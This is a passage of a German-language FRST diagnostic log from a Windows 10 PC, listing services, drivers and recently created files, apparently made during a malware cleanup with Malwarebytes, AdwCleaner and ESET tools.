R2 asComSvc; C:\Program Files (x86)\ASUS\AXSP\1.02.00\atkexComSvc.exe [936728 2015-05-08] ()

R2 AsSysCtrlService; C:\Program Files (x86)\ASUS\AsSysCtrlService\1.00.22\AsSysCtrlService.exe [1360016 2014-04-24] () [Datei ist nicht signiert]

S3 Disc Soft Ultra Bus Service; C:\Program Files\DAEMON Tools Ultra\DiscSoftBusServiceUltra.exe [4854464 2016-12-12] (Disc Soft Ltd)

R2 DTSAudioSvc; C:\Program Files\Realtek\Audio\HDA\DTSU2PAuSrv64.exe [249328 2016-06-17] (DTS, Inc)

R2 hmevpnsvc; C:\Program Files (x86)\hide.me VPN\hidemesvc.exe [138960 2017-04-09] (eVenture Limited)

R2 MBAMService; C:\Program Files\Malwarebytes\Anti-Malware\mbamservice.exe [4355024 2017-01-20] (Malwarebytes)

R2 NvContainerLocalSystem; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [492480 2017-03-28] (NVIDIA Corporation)

S3 NvContainerNetworkService; C:\Program Files\NVIDIA Corporation\NvContainer\nvcontainer.exe [492480 2017-03-28] (NVIDIA Corporation)

R2 NVDisplay.ContainerLocalSystem; C:\Program Files\NVIDIA Corporation\Display.NvContainer\NVDisplay.Container.exe [464440 2017-03-17] (NVIDIA Corporation)

R2 NvTelemetryContainer; C:\Program Files (x86)\NVIDIA Corporation\NvTelemetry\NvTelemetryContainer.exe [425408 2017-03-28] (NVIDIA Corporation)

R2 Razer Chroma SDK Service; C:\Program Files (x86)\Razer Chroma SDK\bin\RzSDKService.exe [69768 2017-03-21] (Razer Inc.)

R2 Razer Game Scanner Service; C:\Program Files (x86)\Razer\Razer Services\GSS\GameScannerService.exe [189264 2016-09-25] ()

S3 Sense; C:\Program Files\Windows Defender Advanced Threat Protection\MsSense.exe [3913064 2017-03-20] (Microsoft Corporation)

R3 WdNisSvc; C:\Program Files\Windows Defender\NisSrv.exe [342264 2017-03-18] (Microsoft Corporation)

R2 WinDefend; C:\Program Files\Windows Defender\MsMpEng.exe [102816 2017-03-18] (Microsoft Corporation)

S3 wlpasvc; C:\Windows\System32\lpasvc.dll [1295360 2017-03-18] (Microsoft Corporation)
 

===================== Treiber (Nicht auf der Ausnahmeliste) ======================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

R1 AsIO; C:\Windows\SysWow64\drivers\AsIO.sys [15232 2015-05-08] ()

R1 ESProtectionDriver; C:\Windows\system32\drivers\mbae64.sys [77440 2017-04-12] ()

S3 iaLPSS2i_GPIO2_BXT_P; C:\Windows\System32\drivers\iaLPSS2i_GPIO2_BXT_P.sys [85504 2017-03-18] (Intel Corporation)

S3 iaLPSS2i_I2C_BXT_P; C:\Windows\System32\drivers\iaLPSS2i_I2C_BXT_P.sys [168448 2017-03-18] (Intel Corporation)

R2 MBAMChameleon; C:\Windows\system32\drivers\MBAMChameleon.sys [186304 2017-04-25] (Malwarebytes)

R3 MBAMFarflt; C:\Windows\system32\drivers\farflt.sys [111544 2017-04-27] (Malwarebytes)

R3 MBAMProtection; C:\Windows\system32\drivers\mbam.sys [43968 2017-04-27] (Malwarebytes)

R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [251832 2017-04-27] (Malwarebytes)

R3 MBAMWebProtection; C:\Windows\system32\drivers\mwac.sys [92096 2017-04-27] (Malwarebytes)

R3 nvlddmkm; C:\Windows\System32\DriverStore\FileRepository\nv_desktop_ref4i.inf_amd64_cec9c0a9e8098939\nvlddmkm.sys [14574640 2017-03-17] (NVIDIA Corporation)

S3 NvStreamKms; C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamKms.sys [30144 2017-03-28] (NVIDIA Corporation)

R3 nvvad_WaveExtensible; C:\Windows\system32\drivers\nvvad64v.sys [47552 2017-03-28] (NVIDIA Corporation)

R3 nvvhci; C:\Windows\System32\drivers\nvvhci.sys [57792 2017-03-28] (NVIDIA Corporation)

R3 rt640x64; C:\Windows\System32\drivers\rt640x64.sys [604160 2017-03-18] (Realtek                                            )

R3 rzendpt; C:\Windows\System32\drivers\rzendpt.sys [51736 2016-06-23] (Razer Inc)

R3 rzp1endpt; C:\Windows\System32\drivers\rzp1endpt.sys [51736 2016-06-23] (Razer Inc)

R2 rzpmgrk; C:\WINDOWS\system32\drivers\rzpmgrk.sys [44144 2016-09-17] (Razer, Inc.)

R2 rzpnk; C:\WINDOWS\system32\drivers\rzpnk.sys [137840 2016-10-08] (Razer, Inc.)

R3 rzvmouse; C:\Windows\System32\drivers\rzvmouse.sys [43544 2016-06-23] (Razer Inc)

S3 SDFRd; C:\Windows\System32\drivers\SDFRd.sys [31128 2017-03-18] ()

S0 WdBoot; C:\Windows\System32\drivers\WdBoot.sys [44632 2017-03-18] (Microsoft Corporation)

R0 WdFilter; C:\Windows\System32\drivers\WdFilter.sys [294816 2017-03-18] (Microsoft Corporation)

R3 WdNisDrv; C:\Windows\System32\Drivers\WdNisDrv.sys [121248 2017-03-18] (Microsoft Corporation)
 

==================== NetSvcs (Nicht auf der Ausnahmeliste) ===================
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er aus der Registry entfernt. Die Datei wird nicht verschoben solange sie nicht separat aufgelistet wird.)
 

NETSVCx32: TokenBroker -> C:\Windows\SysWOW64\TokenBroker.dll (Microsoft Corporation)
 

==================== Ein Monat: Erstellte Dateien und Ordner ========
 

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)
 

2017-04-27 05:51 - 2017-04-27 05:51 - 00000000 ____D C:\Program Files (x86)\ESET

2017-04-27 05:50 - 2017-04-27 05:50 - 02870984 _____ (ESET) C:\Users\Andy\Desktop\esetsmartinstaller_deu.exe

2017-04-27 05:45 - 2017-04-27 05:45 - 00001852 _____ C:\Users\Andy\Desktop\Fixlog.txt

2017-04-27 05:44 - 2017-04-27 08:56 - 00000000 ____D C:\Users\Andy\Desktop\FRST-OlderVersion

2017-04-27 05:39 - 2017-04-27 05:39 - 00001399 _____ C:\Users\Andy\Desktop\Malwarebytes auto Scan.txt

2017-04-25 05:23 - 2017-04-25 05:23 - 00000545 _____ C:\Users\Andy\Desktop\JRT.txt

2017-04-25 05:19 - 2017-04-25 05:19 - 01663672 _____ (Malwarebytes) C:\Users\Andy\Desktop\JRT.exe

2017-04-25 05:15 - 2017-04-25 05:15 - 00001396 _____ C:\Users\Andy\Desktop\AdwCleaner[C0].txt

2017-04-25 05:09 - 2017-04-25 05:09 - 04102600 _____ C:\Users\Andy\Desktop\adwcleaner_6.046.exe

2017-04-25 05:08 - 2017-04-25 05:58 - 00000000 ____D C:\AdwCleaner

2017-04-24 01:35 - 2017-04-24 01:35 - 00023577 _____ C:\Users\Andy\Desktop\Malwarebytes infizierter Scan 3.zip

2017-04-24 01:05 - 2017-04-24 01:06 - 00004739 _____ C:\Users\Andy\Desktop\vorschau.txt

2017-04-24 00:25 - 2017-04-27 08:56 - 00017716 _____ C:\Users\Andy\Desktop\FRST.txt

2017-04-24 00:24 - 2017-04-27 08:56 - 00000000 ____D C:\FRST

2017-04-24 00:22 - 2017-04-27 05:44 - 02427392 _____ (Farbar) C:\Users\Andy\Desktop\FRST64.exe

2017-04-23 23:26 - 2017-04-23 23:26 - 00001438 _____ C:\Users\Andy\Desktop\scan5.txt

2017-04-23 23:26 - 2017-04-22 04:31 - 00615853 _____ C:\Users\Andy\Desktop\Malwarebytes infizierter Scan 3.txt

2017-04-22 05:04 - 2017-04-22 05:04 - 00004632 _____ C:\Windows\System32\Tasks\Adobe Flash Player PPAPI Notifier

2017-04-22 05:03 - 2017-04-22 05:06 - 00000000 ____D C:\Users\Andy\AppData\Local\Adobe

2017-04-22 04:39 - 2017-04-22 04:39 - 00002336 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

2017-04-22 04:38 - 2017-04-22 05:13 - 00000000 ____D C:\Users\Andy\AppData\Local\Google

2017-04-22 04:38 - 2017-04-22 04:39 - 00000000 ____D C:\Program Files (x86)\Google

2017-04-22 04:38 - 2017-04-22 04:38 - 00003628 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineUA

2017-04-22 04:38 - 2017-04-22 04:38 - 00003504 _____ C:\Windows\System32\Tasks\GoogleUpdateTaskMachineCore

2017-04-22 04:19 - 2017-04-21 03:23 - 00017381 _____ C:\Users\Andy\Desktop\scan3.txt

2017-04-21 03:19 - 2017-04-21 03:19 - 00002346 _____ C:\Users\Andy\Desktop\scan2.txt

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\33

2017-04-20 16:58 - 2017-04-20 16:58 - 00000000 _____ C:\Windows\SysWOW64\11

2017-04-20 05:34 - 2017-04-20 05:34 - 00000000 ____D C:\Windows\LastGood.Tmp

2017-04-20 05:34 - 2017-03-28 05:32 - 00153536 _____ (NVIDIA Corporation) C:\Windows\system32\nvaudcap64v.dll

2017-04-20 05:34 - 2017-03-28 05:32 - 00127424 _____ (NVIDIA Corporation) C:\Windows\SysWOW64\nvaudcap32v.dll

2017-04-18 06:54 - 2017-04-18 07:16 - 00000000 ____D C:\Users\Andy\Downloads\JoyToKey_en

2017-04-17 16:59 - 2017-04-17 16:59 - 1153666585 _____ C:\Windows\MEMORY.DMP

2017-04-17 16:59 - 2017-04-17 16:59 - 00682124 _____ C:\Windows\Minidump\041717-9796-01.dmp

2017-04-17 16:59 - 2017-04-17 16:59 - 00000000 ____D C:\Windows\Minidump

2017-04-17 16:58 - 2017-04-17 16:58 - 00068288 _____ C:\Windows\system32\Drivers\VBoxDrv.sys

2017-04-16 17:30 - 2017-04-16 17:30 - 00000000 ____D C:\Users\Andy\AppData\Local\DBG

2017-04-15 18:10 - 2017-04-15 18:10 - 00205035 _____ C:\Users\Andy\Documents\Holzmann-Türen.pdf

2017-04-14 03:38 - 2017-04-26 09:36 - 00000000 ____D C:\Windows.old

2017-04-14 03:38 - 2017-04-14 03:38 - 23680512 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 23675392 _____ (Microsoft Corporation) C:\Windows\system32\edgehtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 20505600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\edgehtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 19334144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 12787200 _____ (Microsoft Corporation) C:\Windows\system32\ieframe.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 11869696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieframe.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 08319392 _____ (Microsoft Corporation) C:\Windows\system32\ntoskrnl.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 08247296 _____ (Microsoft Corporation) C:\Windows\system32\Chakra.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 07904784 _____ (Microsoft Corporation) C:\Windows\system32\Windows.Media.Protection.PlayReady.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 06756920 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Windows.Media.Protection.PlayReady.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 06296064 _____ (Microsoft Corporation) C:\Windows\SysWOW64\Chakra.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 05477088 _____ (Microsoft Corporation) C:\Windows\system32\OneCoreUAPCommonProxyStub.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 03672064 _____ (Microsoft Corporation) C:\Windows\system32\win32kfull.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02957824 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32kfull.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02444184 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgkrnl.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 02085280 _____ (Microsoft Corporation) C:\Windows\system32\UpdateAgent.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01760264 _____ (Microsoft Corporation) C:\Windows\system32\WindowsCodecs.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01657344 _____ (Microsoft Corporation) C:\Windows\system32\XpsPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01605632 _____ (Microsoft Corporation) C:\Windows\system32\quartz.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01604312 _____ (Microsoft Corporation) C:\Windows\system32\gdi32full.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01518088 _____ (Microsoft Corporation) C:\Windows\SysWOW64\WindowsCodecs.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01506816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\quartz.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01411640 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32full.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01356800 _____ (Microsoft Corporation) C:\Windows\system32\audiosrv.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01323880 _____ (Microsoft Corporation) C:\Windows\system32\ole32.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01147296 _____ (Microsoft Corporation) C:\Windows\system32\hvix64.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 01060352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XpsPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 01024416 _____ (Microsoft Corporation) C:\Windows\system32\hvax64.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00986592 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ole32.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00805376 _____ (Microsoft Corporation) C:\Windows\system32\ieproxy.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00750560 _____ (Microsoft Corporation) C:\Windows\system32\fontdrvhost.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00626520 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontdrvhost.exe

2017-04-14 03:38 - 2017-04-14 03:38 - 00624640 _____ (Microsoft Corporation) C:\Windows\system32\AudioEndpointBuilder.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00545792 _____ (Microsoft Corporation) C:\Windows\system32\winspool.drv

2017-04-14 03:38 - 2017-04-14 03:38 - 00433664 _____ (Microsoft Corporation) C:\Windows\system32\msIso.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00429568 _____ (Microsoft Corporation) C:\Windows\SysWOW64\winspool.drv

2017-04-14 03:38 - 2017-04-14 03:38 - 00409504 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\dxgmms1.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 00382368 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00364032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msIso.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00357888 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieproxy.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00354360 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcryptprimitives.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00347136 _____ (Microsoft Corporation) C:\Windows\system32\XpsDocumentTargetPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00311192 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00252928 _____ (Microsoft Corporation) C:\Windows\SysWOW64\XpsDocumentTargetPrint.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00205728 _____ (Microsoft Corporation) C:\Windows\system32\browserbroker.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00119296 _____ (Microsoft Corporation) C:\Windows\system32\UserDataTimeUtil.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00094720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\UserDataTimeUtil.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00091648 _____ (Microsoft Corporation) C:\Windows\system32\mfmjpegdec.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\asycfilt.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00081408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mfmjpegdec.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00078336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\asycfilt.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00047104 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00038912 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll

2017-04-14 03:38 - 2017-04-14 03:38 - 00035840 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\BasicRender.sys

2017-04-14 03:38 - 2017-04-14 03:38 - 00032004 _____ C:\Windows\system32\edgehtmlpluginpolicy.bin

2017-04-14 03:37 - 2017-04-14 03:37 - 00543648 _____ (Microsoft Corporation) C:\Windows\system32\securekernel.exe

2017-04-14 03:37 - 2017-04-14 03:37 - 00388000 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\USBXHCI.SYS

2017-04-14 03:36 - 2017-04-14 03:36 - 00008192 _____ C:\Windows\system32\config\userdiff

2017-04-14 03:36 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\ServiceProfiles

2017-04-14 03:34 - 2017-04-14 03:34 - 00000000 ____H C:\$WINRE_BACKUP_PARTITION.MARKER

2017-04-14 02:52 - 2017-04-27 05:53 - 02073990 _____ C:\Windows\system32\PerfStringBackup.INI

2017-04-14 02:50 - 2017-04-14 02:50 - 00000000 ____D C:\ProgramData\USOShared

2017-04-14 02:49 - 2017-04-14 02:49 - 00000020 ___SH C:\Users\Andy\ntuser.ini

2017-04-14 02:49 - 2017-04-14 02:49 - 00000000 ____D C:\ProgramData\Microsoft OneDrive

2017-04-14 02:47 - 2017-04-14 02:47 - 00011433 _____ C:\Windows\diagwrn.xml

2017-04-14 02:47 - 2017-04-14 02:47 - 00011433 _____ C:\Windows\diagerr.xml

2017-04-14 02:46 - 2017-04-27 05:46 - 00000006 ____H C:\Windows\Tasks\SA.DAT

2017-04-14 02:46 - 2017-04-20 05:35 - 00003994 _____ C:\Windows\System32\Tasks\NvNodeLauncher_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00004308 _____ C:\Windows\System32\Tasks\NvDriverUpdateCheckDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003894 _____ C:\Windows\System32\Tasks\NvProfileUpdaterDaily_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003866 _____ C:\Windows\System32\Tasks\NvTmRep_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003858 _____ C:\Windows\System32\Tasks\NvTmMon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003696 _____ C:\Windows\System32\Tasks\NvTmRepOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-20 05:34 - 00003654 _____ C:\Windows\System32\Tasks\NvProfileUpdaterOnLogon_{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}

2017-04-14 02:46 - 2017-04-14 02:50 - 00003278 _____ C:\Windows\System32\Tasks\OneDrive Standalone Update Task v2

2017-04-14 02:46 - 2017-04-14 02:46 - 00022960 _____ C:\Windows\system32\emptyregdb.dat

2017-04-14 02:44 - 2017-04-14 02:44 - 00001576 _____ C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Windows Media Player.lnk

2017-04-14 02:42 - 2017-04-27 05:46 - 00000000 ____D C:\Users\Andy

2017-04-14 02:42 - 2017-04-14 02:46 - 00000000 ____D C:\Users\defaultuser0

2017-04-14 02:42 - 2017-04-14 02:44 - 00000000 ____D C:\Windows\system32\config\bbimigrate

2017-04-14 02:42 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Package Cache

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Vorlagen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Startmenü

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Netzwerkumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Lokale Einstellungen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Eigene Dateien

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Druckumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Videos

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Musik

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Documents\Eigene Bilder

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Roaming\Microsoft\Windows\Start Menu\Programme

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Local\Verlauf

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\AppData\Local\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\defaultuser0\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Vorlagen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Startmenü

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Netzwerkumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Lokale Einstellungen

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Eigene Dateien

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Druckumgebung

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Videos

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Musik

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Documents\Eigene Bilder

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Roaming\Microsoft\Windows\Start Menu\Programme

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Local\Verlauf

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\AppData\Local\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 _SHDL C:\Users\Andy\Anwendungsdaten

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Razer

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\Program Files\Razer Chroma SDK

2017-04-14 02:42 - 2017-04-14 02:42 - 00000000 ____D C:\Program Files (x86)\Razer Chroma SDK

2017-04-14 02:41 - 2017-04-27 08:38 - 00000000 ____D C:\Windows\system32\SleepStudy

2017-04-14 02:41 - 2017-04-27 05:47 - 00000000 ____D C:\ProgramData\NVIDIA

2017-04-14 02:41 - 2017-04-20 05:35 - 00000000 ____D C:\ProgramData\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-20 05:34 - 00000000 ____D C:\Program Files\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-20 05:34 - 00000000 ____D C:\Program Files (x86)\NVIDIA Corporation

2017-04-14 02:41 - 2017-04-14 23:24 - 00399264 _____ C:\Windows\system32\FNTCACHE.DAT

2017-04-14 02:41 - 2017-04-14 15:13 - 00000000 ____D C:\Program Files (x86)\Razer

2017-04-14 02:41 - 2017-04-14 02:43 - 00000000 ____D C:\ProgramData\Razer

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdFs_01_11_00.Wdf

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____H C:\ProgramData\DP45977C.lfl

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\SysWOW64\RTCOM

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Windows\system32\DAX2

2017-04-14 02:41 - 2017-04-14 02:41 - 00000000 ____D C:\Program Files\Realtek

2017-04-14 02:41 - 2017-03-28 03:25 - 00001951 _____ C:\Windows\NvContainerRecovery.bat

2017-04-14 02:41 - 2017-03-18 22:56 - 02233344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\PrintConfig.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 06401984 _____ (NVIDIA Corporation) C:\Windows\system32\nvcpl.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 02477504 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvc64.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 01762752 _____ (NVIDIA Corporation) C:\Windows\system32\nvsvcr.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00549944 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshext.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00392128 _____ (NVIDIA Corporation) C:\Windows\system32\nvmctray.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00081856 _____ (NVIDIA Corporation) C:\Windows\system32\nv3dappshextr.dll

2017-04-14 02:41 - 2017-03-17 01:16 - 00069568 _____ (NVIDIA Corporation) C:\Windows\system32\nvshext.dll

2017-04-14 02:41 - 2017-03-16 11:39 - 07813427 _____ C:\Windows\system32\nvcoproc.bin

2017-04-14 02:32 - 2017-04-14 02:32 - 00008192 __RSH C:\BOOTSECT.BAK

2017-04-14 01:49 - 2017-04-14 02:49 - 00000000 ___DC C:\Windows\Panther

2017-04-13 20:17 - 2017-04-13 20:17 - 00000000 ____D C:\Users\Andy\Documents\My Games

2017-04-13 15:29 - 2017-04-13 15:29 - 00000000 ____D C:\Users\Andy\AppData\Local\UNP

2017-04-13 09:13 - 2017-04-14 02:44 - 00000000 ____D C:\Windows\system32\UNP

2017-04-13 09:13 - 2017-04-13 09:14 - 00000000 ____D C:\Program Files\UNP

2017-04-13 01:34 - 2017-04-13 01:34 - 00000000 ____D C:\Users\Default\AppData\Local\Microsoft Help

2017-04-13 01:34 - 2017-04-13 01:34 - 00000000 ____D C:\Users\Default User\AppData\Local\Microsoft Help

2017-04-12 20:47 - 2017-04-14 02:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Microsoft Silverlight

2017-04-12 20:47 - 2017-04-12 20:47 - 00000000 ____D C:\Program Files\Microsoft Silverlight

2017-04-12 20:47 - 2017-04-12 20:47 - 00000000 ____D C:\Program Files (x86)\Microsoft Silverlight

2017-04-12 18:41 - 2017-03-28 07:37 - 00031232 ____N (Microsoft Corporation) C:\Windows\system32\DdcWnsListener.dll

2017-04-12 18:41 - 2017-03-28 07:28 - 00261632 ____N (Microsoft Corporation) C:\Windows\system32\indexeddbserver.dll

2017-04-06 03:03 - 2017-04-06 03:03 - 00000000 ____D C:\Users\Andy\Documents\Diablo II

2017-04-06 02:54 - 2017-04-14 02:44 - 00000000 ____D C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Diablo II

2017-04-06 02:54 - 2017-04-06 03:08 - 00001230 _____ C:\Users\Public\Desktop\Diablo II - Lord of Destruction.lnk

2017-04-06 02:52 - 2017-04-23 23:34 - 00000000 ____D C:\Users\Andy\Desktop\Dokumente 2017

2017-04-06 02:51 - 2017-04-06 03:49 - 00000000 ____D C:\Program Files (x86)\Diablo II

2017-04-06 02:51 - 2017-04-06 02:52 - 00000000 ____D C:\Users\Andy\Desktop\Desktop Bilder 2017

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\Users\Andy\AppData\Roaming\.mono

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\Users\Andy\AppData\LocalLow\Blizzard Entertainment

2017-04-06 01:21 - 2017-04-06 01:21 - 00000000 ____D C:\ProgramData\.mono

2017-04-06 01:20 - 2017-04-06 01:20 - 00000000 ____D C:\Users\Andy\AppData\Local\Blizzard

2017-04-02 08:15 - 2017-04-02 08:15 - 00087904 _____ (Microsoft Corporation) C:\Windows\system32\UNPUXWorker.exe

2017-04-01 12:08 - 2017-04-01 12:08 - 00000000 ____D C:\Users\Andy\AppData\Local\Apowersoft

2017-04-01 12:08 - 2017-04-01 12:08 - 00000000 ____D C:\ProgramData\Apowersoft

2017-04-01 11:48 - 2017-04-01 11:48 - 00000000 ____H C:\Windows\system32\Drivers\Msft_User_WpdMtpDr_01_11_00.Wdf

2017-03-31 16:21 - 2017-04-25 05:15 - 00000008 __RSH C:\ProgramData\ntuser.pol

